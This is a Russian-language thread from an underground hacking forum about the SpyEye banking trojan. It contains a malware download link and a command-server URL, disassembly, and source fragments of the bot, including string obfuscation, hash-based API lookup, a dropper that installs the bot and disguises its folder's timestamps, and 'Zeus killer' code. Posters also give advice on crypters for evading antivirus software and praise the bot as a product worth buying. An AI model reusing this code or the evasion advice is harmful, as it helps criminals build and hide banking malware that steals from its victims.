• XSS.stack #1 – первый литературный журнал от юзеров форума

Обсуждение SpyEye

  • Автор темы Krumpli
  • Дата начала
Неприятно....крайне неприятно, когда в интеллектуальную дискуссию интеллигентных людей вмешивается грубиян с wasm-a.

P.S. Оч прошу удалить все мое не по теме как нить на досуге...
ты наверное всю ночь не спал....совесть мучала?
У тебя ничего нет здесь своего. Все- наше , общее.
 
Неприятно....крайне неприятно, когда в интеллектуальную дискуссию интеллигентных людей вмешивается грубиян с wasm-a.
А.. Грубияны с васма это такая отдельная социальная группа? :]
У тебя ничего нет здесь своего. Все- наше , общее.
А говорят еще коммунизм требует пять поколений для формирования...
 
Последняя модификация Spy Eye (V1.0.7), помимо стандартного набора возможностей, получила функцию Kill Zeus
вообщем когда буду релизить своего бота - сделаю функцию KillZeus и KillSpyEye и стану знаменитым :yahoo:
 
чего все расшумелись? такая фича уже была в том-же боте ганибалов лтд. да и не только в их.
зы. например я в своего бота собирался добавить zbot killer'a касперского :)
 
Нука нука..)
рано обрадовался.
я только учусь, так-что в ближайший год-два он врят-ли увидит свет =)
 
Зашел на трекер выбрал на угад попавшийся trojan SpyEye
http://vinodelam.net/spy/main/bin/build.exe
решил глянуть че там распиарили %)))
сразу код бажный увидел в самом начале
Код:
UPX0:00401000 57                      push    edi
UPX0:00401001 33 FF                   xor     edi, edi
UPX0:00401003
UPX0:00401003                         loc_401003: 
UPX0:00401003 8B 04 BD 28 50 40 00    mov     eax, dword_405028[edi*4]
UPX0:0040100A 3B 44 24 08             cmp     eax, [esp+8]
UPX0:0040100E 74 06                   jz      short loc_401016
UPX0:00401010 47                      inc     edi
UPX0:00401011 83 FF 68                cmp     edi, 68h
UPX0:00401014 7C ED                   jl      short loc_401003
UPX0:00401016
UPX0:00401016                         loc_401016:
UPX0:00401016 83 FF 68                cmp     edi, 68h
UPX0:00401019 75 04                   jnz     short loc_40101F
UPX0:0040101B 33 C0                   xor     eax, eax
UPX0:0040101D 5F                      pop     edi
UPX0:0040101E C3                      retn
Во-первых, шифрование строк до ужаса убогое (скрипт для расшифровки пишется за минуту)
Сразу получаем это http://www.microsoft-windows-security.com/...ion_checker.php
Во-вторых,
Код:
UPX0:00401010 47                      inc     edi
UPX0:00401011 83 FF 68                cmp     edi, 68h
UPX0:00401014 7C ED                   jl      short loc_401003
Явно не есть тру, структура с массивом указателей на строки, содержит всего 25 элементов(как может тупо упасть, объяснять нет желания)
А здесь как видно юзается sizeof(MY_STRUCT), что естественно является не верным, так как sizeof возвращает 68h(104) байт (25*4+4)
Для того чтобы получить 26 вместо 104 нужно заюзать стандартный макрос RTL_NUMBER_OF_V2(MY_STRUCT)
Короче секьюрити никакого и это минус, сейчас же не 2005 год, чтобы вот так хосты палить(кстати там сразу через день они и второй линк выложили)
И это только вот прям только сразу(дальше смотреть желание отпало).. не знаю, может это не SpyEye, но... на трекерах пишут что он

И на счет киляния зевса и бу-га-га статейки, это вообще патцталом.. я бы автора(ламера) сразу уволил нах %)))
Я ж мля выкладывал код килятора зевса (и даже больше), там несколько десятков строк и фсе, епт.. деградация аверов налицо
Но самое смешное, что этот убогий лол везде копипастят, ппц..
ЗЫ: ИМХО
 
вообщем когда буду релизить своего бота
так это будет нескоро..
знания- то еще наверняка слабенькие .=\
 
KraZz
Во-первых, шифрование строк до ужаса убогое (скрипт для расшифровки пишется за минуту)
100% инфа.
Убогое шифрование.
Но, каг бэ, я приследовал несколько целей - чтобы кто-нибудь через HEX-редактор тупо не подправил путь к админке.
И, чтобы скрывать из text-секции некоторые строки типа "explorer.exe" и прочее. Нужно это, чтобы чисто сигнатурно, exe'шник не палился Dr.Web'ом и Co.

KraZz
Для того чтобы получить 26 вместо 104 нужно заюзать стандартный макрос RTL_NUMBER_OF_V2(MY_STRUCT)
Ну, тут без разницы что использовать для определения размера.
Код построен таким образом, что использование строк объявлено через DEFINE'ы.

В общем, изначально имеется файл db.txt.
Туда я пишу строки. И есть небольшая прога, которая преобразует его в .h файл, в котором объявлено примерно следующее:

Код:
#define CSTR_System_0xCEE114BD GetStrByHashA(0xCEE114BD) /* "System" */
#define CSTR_smssexe_0x4A9736A0 GetStrByHashA(0x4A9736A0) /* "smss.exe" */
#define CSTR_csrssexe_0x3DC4AC21 GetStrByHashA(0x3DC4AC21) /* "csrss.exe" */
#define CSTR_NtOpenProcess_0xDBF381B5 GetStrByHashA(0xDBF381B5) /* "NtOpenProcess" */

Собственно, вот оно:

Код:
PCHAR GetStrByHashA(DWORD dwStrHash)
{
	DWORD i;
	for (i = 0; i < sizeof dwStrHashs; i++)
  if (dwStrHashs[i] == dwStrHash)
  	break;
	if (i == sizeof dwStrHashs)
  return NULL;

	DWORD dwStrLn = dwCStringLns[i];
	/* if dwStrLn is 0, string already unencrypted */
	if (dwStrLn) {
  MyUnCrypt(szCStrings[i], dwStrLn);
  dwCStringLns[i] = 0;
	}

	return (PCHAR)szCStrings[i];
}


Ну, да, sizeof dwStrHashs возвращает размер массива не в логических единицах а в байтах. Ну и что?
Работа со строками-то осуществляется через DEFINE'ы и я 100% уверен, что я не выйду за пределы массива dwStrHashs.
Ну, да, правильнее было бы использовать RTL_NUMBER_OF_V2 или (sizeof dwStrHashs / sizeof DWORD)

Короче секьюрити никакого и это минус, сейчас же не 2005 год, чтобы вот так хосты палить
Да в ring3 же софт работает.
wireshark запускаем и видем что куда ломится.
Стоит ли сейчас прятать хосты в недрах EXE - хз.

Явно не есть тру, структура с массивом указателей на строки, содержит всего 25 элементов(как может тупо упасть, объяснять нет желания)
Ну, так как же это может тупо упасть? Очень интересно.

Я ж мля выкладывал код килятора зевса (и даже больше),
Ссылки в студию.

Peace.
 
gribodemon
чтобы кто-нибудь через HEX-редактор тупо не подправил путь к админке.
Ну вот такой вариант как GetStrByHashA вообще не панацея, там пропатчить все элементарно
Нужно это, чтобы чисто сигнатурно, exe'шник не палился Dr.Web'ом и Co.
и от аверов это не спасет.. твой код(GetStrByHashA) статичен и как видно по сэмплу тупо пожат UPX(вообще тут надо просто пробздецца по аверским форумам и посмотреть, как они пишут скрипты, так проще будет писать против них "защиту" или..), тут надо крыть нормальным криптором – ИМХО

Ну, тут без разницы что использовать для определения размера.
По "правилам" хорошего тона программирования, там должно быть "26"(ИМХО и это без вариантов) или "sizeof dwStrHashs / sizeof DWORD" :)

Ну, так как же это может тупо упасть? Очень интересно.
Ну я ж смотрел этого троянчика минут 5-10, для более полного обзора нужен полный набор
да и мне на данном этапе не интересен продукт :), хотя твой АДЕКВАТНЫЙ ответ даже очень понравился :)
рад, что на DL начали появляться грамотные мемберы (ЗЫ: не холивара ради написал :))
У тебя в этом массиве строк, идет ограничение в 100 символов, а что будет, если линк
http://www.microsoft-windows-security.com/...ion_checker.php
будет больше 100 символов(я лично много раз видел длинные ссылки), произойдет сталобыть "обрезание" или "наезд" на следующий элемент в массиве, может там и есть проверка в самом билдере на длину ссылки, но у меня что-то большие сомнения..
и это все опять же относится все к той же функе(GetStrByHashA), находящейся по адресу 401000 :)
ЗЫ: вообще я примерно так и подумал о том, что ты написал, единственное может немного больше..
Тут у тебя размер строк известен, можно их расположить сразу друг за другом, а не так как у тебя с ограничением в 100 символов в массиве
Короче так вот проще будет видно, о чем я
Код:
UPX0:00401034 8B C7                   mov     eax, edi
UPX0:00401036 6B C0 64                imul    eax, 100
UPX0:00401039 03 C3                   add     eax, ebx
UPX0:0040103B 50                      push    eax
imul eax, 100
gribodemon
Уверен, что не упадет или будет работать, если ссылка будет больше 100 символов?
ЗЫ: я пишу о том, что желательно исправить, а ты уже решай сам делать это или оставить как есть..
Мысли в слух: и вообще хорошо тему с работой с массивами разных данных можно "освоить", если написать, к примеру, класс для создания и добавления полноценного VersionInfo(VS_FIXEDFILEINFO итд.) в *.exe, вот там действительно адские "структуры" %)))

P. S.
Код килятора зевса
Код:
bool IsPipe()
{
	HANDLE hMutex = OpenMutexW(MUTEX_ALL_ACCESS, 0, L"_AVIRA_2109");
	if(hMutex)
	{
  CloseHandle(hMutex);
  return TRUE;
	}
	return FALSE;

}// end « IsPipe »
WCHAR usFormat[512]; 
IPipe(0x3, 0, 0); // cmd remove bot <--
int count=0;
while(IsPipe()){
	wnsprintfW(usFormat, 512, L"Removing spyware... (waiting for %u seconds)", 10 - count);
	SetWindowTextW(hEditLog, usFormat);
	Sleep(1000);
	++count;
	if (count >= 10) goto LNEXT;
}
Код функции IPipe здесь
http://xss.pro/index.php?topic=18405
 
Сейчас еще решил посмотреть немного этот бот
И опять очередную ПУСТЫШКУ увидел..
Смотрим следующий код 00401056
Код:
UPX0:00401056 55                      push    ebp
UPX0:00401057 8B EC                   mov     ebp, esp
UPX0:00401059 51                      push    ecx
UPX0:0040105A 89 65 FC                mov     [ebp-4], esp
UPX0:0040105D 68 4A 37 A1 49          push    49A1374Ah
UPX0:00401062 6A 00                   push    0
UPX0:00401064 E8 41 1C 00 00          call    sub_402CAA
UPX0:00401069 59                      pop     ecx
UPX0:0040106A 59                      pop     ecx
UPX0:0040106B FF 75 0C                push    dword ptr [ebp+0Ch]
UPX0:0040106E FF 75 08                push    dword ptr [ebp+8]
UPX0:00401071 FF D0                   call    eax
UPX0:00401073 8B 65 FC                mov     esp, [ebp-4]
UPX0:00401076 C9                      leave
UPX0:00401077 C3                      retn
Видим вызов 402CAA если туда заглянуть, то сразу становится вся понятно :)
Но суть не в этом, нам нужно чтобы так называемый динамический импорт был виден в статике
Я постараюсь показать, как это сделать элементарно
49A1374A – это хеш GetSystemDirectoryA
0 – это kernel32.dll
9 – это ntdll.dll
Берем эти две библы и открываем в Dependency Walker создаем два файла ntdll.import и kernel32.import
Копипастим туда экспорт(имена)
И создаем путоновский файл с кодом
Код:
import re
filename = "kernel32.import"
f = open(filename)
af=[]
try:
	for line in f:
  r = re.match("(.*)", line)
  af.append(r.group(1))
finally:
	f.close()
for name in af:
	h = 0
	for c in name:
  b = ord(c)
  tmp = ((h >> 25) | (h << 7))
  h = (b^tmp)&0xFFFFFFFF
	print "%08X %s" % (h, name)
Хеш генерится стандартной функой, сталобыть все проще дальше некуда
Получаем такие файлы с содержимым(инфа сознательно немного урезана)

kernel32.import
Код:
5147F60F ActivateActCtx
1E1865E5 AddAtomA
1E1865F3 AddAtomW
06DC97E5 AddConsoleAliasA
06DC97F3 AddConsoleAliasW
EDBAFEE8 AddLocalAlternateComputerNameA
EDBAFEFE AddLocalAlternateComputerNameW
6C535944 AddRefActCtx
2891AE7A AddVectoredExceptionHandler

ntdll.import
Код:
78D1DC64 PropertyLengthAsVariant
6E2494C3 RtlConvertPropertyToVariant
3C9B6FDC RtlConvertVariantToProperty
C8B8EFFA RtlInterlockedPushListSList
58A52972 RtlUlongByteSwap
7DD05F43 RtlUlonglongByteSwap
8197E51D RtlUshortByteSwap
FD77C610 CsrAllocateCaptureBuffer
2FA76A96 CsrAllocateMessagePointer
Теперь открываем эти два файла в EmEditor или другом блокноте
И юзаем поиск с хешем, ну к примеру 78B00C7E
Получаем GetWindowsDirectoryA
Далее делаем в ИДЕ rename по адресу 0040109D и получаем
Код:
UPX0:0040109D                        ; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize)
UPX0:0040109D                         GetWindowsDirectoryA proc near
UPX0:0040109D                         var_4= dword ptr -4
UPX0:0040109D                         lpBuffer= dword ptr  8
UPX0:0040109D                         uSize= dword ptr  0Ch
UPX0:0040109D 55                      push    ebp
UPX0:0040109E 8B EC                   mov     ebp, esp
UPX0:004010A0 51                      push    ecx
UPX0:004010A1 89 65 FC                mov     [ebp+var_4], esp
UPX0:004010A4 68 7E 0C B0 78          push    78B00C7Eh
UPX0:004010A9 6A 00                   push    0
UPX0:004010AB E8 FA 1B 00 00          call    sub_402CAA
UPX0:004010B0 59                      pop     ecx
UPX0:004010B1 59                      pop     ecx
UPX0:004010B2 FF 75 0C                push    [ebp+uSize]
UPX0:004010B5 FF 75 08                push    [ebp+lpBuffer]
UPX0:004010B8 FF D0                   call    eax
UPX0:004010BA 8B 65 FC                mov     esp, [ebp+var_4]
UPX0:004010BD C9                      leave
UPX0:004010BE C3                      retn
UPX0:004010BE                         GetWindowsDirectoryA endp
При этом ИДА сама расставит нужные параметры :)
Все это очень просто делается и на АВТОМАТЕ, я просто не хочу полить хату как это делается
Код:
UPX0:00401106; [00000022 BYTES: COLLAPSED FUNCTION CreateDirectoryA. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401128; [0000001C BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401144; [00000022 BYTES: COLLAPSED FUNCTION RtlZeroMemory. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401166; [0000002B BYTES: COLLAPSED FUNCTION swprintf. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401191; [0000001F BYTES: COLLAPSED FUNCTION wcslen. PRESS KEYPAD "+" TO EXPAND]
UPX0:004011B0; [0000001F BYTES: COLLAPSED FUNCTION NtDeleteFile. PRESS KEYPAD "+" TO EXPAND]
UPX0:004011CF; [0000001F BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
UPX0:004011EE; [00000025 BYTES: COLLAPSED FUNCTION FindResourceA. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401213; [00000022 BYTES: COLLAPSED FUNCTION LoadResource. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401235; [0000001F BYTES: COLLAPSED FUNCTION LockResource. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401254; [00000022 BYTES: COLLAPSED FUNCTION SizeofResource. PRESS KEYPAD "+" TO EXPAND]
UPX0:00401276; [00000046 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND]
UPX0:004012BC; [0000004C BYTES: COLLAPSED FUNCTION CreateMutexA. PRESS KEYPAD "+" TO EXPAND]
Так что вся мулька с 402CAA совершенно не напрягает
Ну а далее переходим на нужный адрес и жмем F5 :)
И получаем
Код:
signed int __cdecl sub_403257(LPCSTR lpFileName, const CHAR *a2)
{
  HANDLE v2; // eax@1
  void *v3; // ebx@1
  HANDLE v5; // eax@3
  HANDLE v6; // eax@4
  signed int v7; // [sp+24h] [bp-8h]@1
  HANDLE hObject; // [sp+28h] [bp-4h]@1
  FILETIME CreationTime; // [sp+Ch] [bp-20h]@2
  FILETIME LastAccessTime; // [sp+14h] [bp-18h]@2
  FILETIME LastWriteTime; // [sp+1Ch] [bp-10h]@2

  v3 = 0;
  v7 = 0;
  v2 = CreateFileA(lpFileName, 0x89u, 1u, 0, 3u, 0x80u, 0);
  hObject = v2;
  if ( v2 != (HANDLE)-1 )
  {
    if ( GetFileTime(v2, &CreationTime, &LastAccessTime, &LastWriteTime) )
    {
      v5 = CreateFileA(a2, 0x40000000u, 1u, 0, 3u, 0x80u, 0);
      v3 = v5;
      if ( v5 != (HANDLE)-1 || (v6 = CreateFileA(a2, 0x40000000u, 1u, 0, 3u, 0x2000000u, 0), v3 = v6, v6 != (HANDLE)-1) )
      {
        if ( SetFileTime(v3, &CreationTime, &LastAccessTime, &LastWriteTime) )
          v7 = 1;
      }
    }
  }
  if ( hObject )
  {
    if ( hObject != (HANDLE)-1 )
      CloseHandle(hObject);
  }
  if ( v3 )
  {
    if ( v3 != (void *)-1 )
      CloseHandle(v3);
  }
  return v7;
}
Немного рихтуем и вот оно
Код:
int sub_40148A([...])
{
  char szNtdll[0x104];
  char szCleansweep[0x104];
  char szSystemDirectory[0x104];
  char szWindowsDirectory[0x104];
  GetSystemDirectoryA(szSystemDirectory, 0x104);
  sprintf(szNtdll, "%s\\ntdll.dll", szSystemDirectory);
  GetWindowsDirectoryA(szWindowsDirectory, 0x104);
  szWindowsDirectory[3] = 0;
  sprintf(szCleansweep, "%s%s", szWindowsDirectory, "cleansweep.exe");
  SetLastError(0);
  if(CreateDirectoryA(szCleansweep, 0) || GetLastError() == 0xB7)
  {
    sub_403257(szNtdll, szCleansweep);
 [...]
}
Думаю из кода понятно, что это за функция вот так просто в открытом доступе, короче секьюрити нет..
Скажем так, даже убогое старье как Dream System DDoS Bot и то более достойное секьюрити имеет в отношении импорта
Там тоже подобный онанизм с расшифровкой строк
А потом там инит идет по хешу и вставляется на место хеша адрес импота
и потом там юзаются в коде подобные конструкции
Код:
push	(offset	loc_4029A9+3)
push	kernel32@lstrcatA	; kernel32.lstrcatA
add	esp, 4
loc_4029A9:
jmp	dword ptr [esp-4]

push	offset loc_4029E9
push	kernel32@lstrcatA	; kernel32.lstrcatA
retn
loc_4029E9:
что вот так просто по F5 не прет, да и эта техника юзалась 2006 годах, а тогда у аверов скудный был инструментарий - ИМХО
ну вот как-то так, типа "обзорчика" что ли или хз как это назвать, короче.. реверс :)
ЗЫ: ИМХО
 
KraZz
Забавная техника ревёрса. У IDA'ы большие возможности. Надо взять на заметку. :)

что вот так просто по F5 не прет, да и эта техника юзалась 2006 годах, а тогда у аверов скудный был инструментарий - ИМХО
Неа. Эта техника юзалась в 2005г.
Код с небольшими доработками (антисплайсинг в ring3) был спижжен из статьи "Долой импорт!" журнала "Хакер" #080 (2005г., Август) :lol:

P.S.: Реверсить тут нечего. Всё гнусно и обыкновенно.

Реально, проще писать свой трой, нежели чем ревёрсить SpyEye.
 
int sub_40148A([...])
{
char szNtdll[0x104];
char szCleansweep[0x104];
char szSystemDirectory[0x104];
char szWindowsDirectory[0x104];
GetSystemDirectoryA(szSystemDirectory, 0x104);
sprintf(szNtdll, "%s\\ntdll.dll", szSystemDirectory);
GetWindowsDirectoryA(szWindowsDirectory, 0x104);
szWindowsDirectory[3] = 0;
sprintf(szCleansweep, "%s%s", szWindowsDirectory, "cleansweep.exe");
SetLastError(0);
if(CreateDirectoryA(szCleansweep, 0) || GetLastError() == 0xB7)
{
sub_403257(szNtdll, szCleansweep);
[...]
}
nice!

from: dropper.cpp
DWORD WINAPI DropAndRunBot(LPVOID lpImageBaseDelta)
{
/**
* (!) Shellcode style is here
*/

DWORD dwErr = 0;

/* Path to ntdll.dll */
CHAR szSysDir[MAX_PATH];
XGetSystemDirectoryA(szSysDir, MAX_PATH);
CHAR szNtdllPath[MAX_PATH];

CHAR szNtdllPathFormat[] = { '%', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' }; // "%s\\ntdll.dll"
Xsprintf(szNtdllPath, szNtdllPathFormat, szSysDir);

/* Getting path to bot's file */
CHAR szSysDrive[MAX_PATH];
XGetWindowsDirectoryA(szSysDrive, MAX_PATH);
szSysDrive[3] = '\0';
CHAR szBotDir[MAX_PATH];

CHAR szBotDirFormat[] = { '%', 's', '%', 's', '\0' }; // "%s%s"
CHAR szBotExeName[] = BOT_EXE_NAME_SHELL;
Xsprintf(szBotDir, szBotDirFormat, szSysDrive, szBotExeName);

XSetLastError(0);
if ((!XCreateDirectoryA(szBotDir, NULL)) && ((DWORD)XGetLastError() != ERROR_ALREADY_EXISTS)) {
dwErr = 1;
goto L_ERR;
}

/* Change the date of folder */
CopyFileTime(szNtdllPath, szBotDir);
 
Гы http://habrahabr.ru/company/eset/blog/84452/

Реально, проще писать свой трой, нежели чем ревёрсить SpyEye
Нет-нет, я его даже не реверсил совсем
Так минут 20 проанализировал, ну и минут 10 писал че сделал за эти 20 минут %)))
Да и цели вообще не было такой, тут дело совсем в другом..
Мну просто в личку спасибы пишут ну и просят чаще обзоры/откровения/реверс делать и писать об этом
Вот когда время есть, и тема актуальная че-то пишу
Но сейчас все больше начали в пм аськи оставлять с просьбами стукнуть, короче много кто пишет..
Если всем отвечать – жить некогда будет %)))

P.S.: Реверсить тут нечего. Всё гнусно и обыкновенно
Опять же не это главное
На нашем рынке, первое - это поддержка продукта важна(если автор над детищем своим трудицца(серьезно), рано или поздно что-то хорошее получится - ИМХО)
Ведь грамотный народ, увидев новый продукт, покупает не ради просто так, а заранее приплачивает поддержку, с учетом следующих "бесплатных" 3-4 обновлений
Как-то у одного авера брали интервью, и он сказал что, «для наших кодеров сейчас это единственный шанс/рынок для достойного заработка и проф-роста в программировании, так сказать спасти нашу элиту прогеров.. Государство не сможет предоставить 150-200к в месяц зарплаты "всем"»
Короче.. примерно смысл был такой(жаль дословно не помню, там он действительно красиво сказал)
Ну опять же создают тысячи рабочих мест аверам, ведь если на мгновение представить мир без вредоносного ПО – сколько аверов без работы останутся, да каг вид исчезнут нах, хе-хе – ну это типа шутки было %)))
Второе – ты вроде адекватно все писал, видно понимаешь что делаешь, никуда вроде не пропадаешь, обновляешь свой продукт, пальцы не гнешь что крут итд..
Вообщем я минусов не вижу, ну а насчет качества – так продукт вроде свежий, достаточно вспомнить админку, того же зевса первых версий %)))
Тут главное стараться прислушиваться к грамотным просьбам/советам постоянных клиентов и апгрейдить продукт и все будет гуд - ИМХО
 
2KraZz
Ты забыл отметить, что для ntdll там по имени поиск осуществляется, а не по хэшу )) По крайней мере в 1.00.60

>>Все это очень просто делается и на АВТОМАТЕ, я просто не хочу полить хату как это делается
Че там палить та ))
 
Ну на вид просто идеал. Эдакое маленькое чудо, которое хочет написать каждый амбициозный программист. Дизайн изумительный.
Бот развивается чрезвычайно динамично. Надеюсь так же быстро дойдем до ring0.
Хочется взять и купить. :)
зы
автор вообще обаяшка.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх